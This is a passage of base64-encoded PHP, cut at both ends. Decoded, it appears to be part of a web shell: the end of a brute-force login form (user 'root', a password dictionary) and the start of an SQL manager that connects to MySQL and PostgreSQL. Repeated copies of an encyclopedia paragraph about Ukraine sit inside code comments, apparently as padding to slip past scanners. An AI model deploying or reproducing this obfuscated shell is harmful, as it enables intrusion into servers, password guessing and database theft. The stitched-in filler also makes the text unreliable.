gdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOwoJZWNobyAnPC9kaXY+PGJyPic7CglwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBlOwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCX0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CgkJCQkJaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOwoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgovKgoKVWtyYWluZSAoVWtyYWluaWFu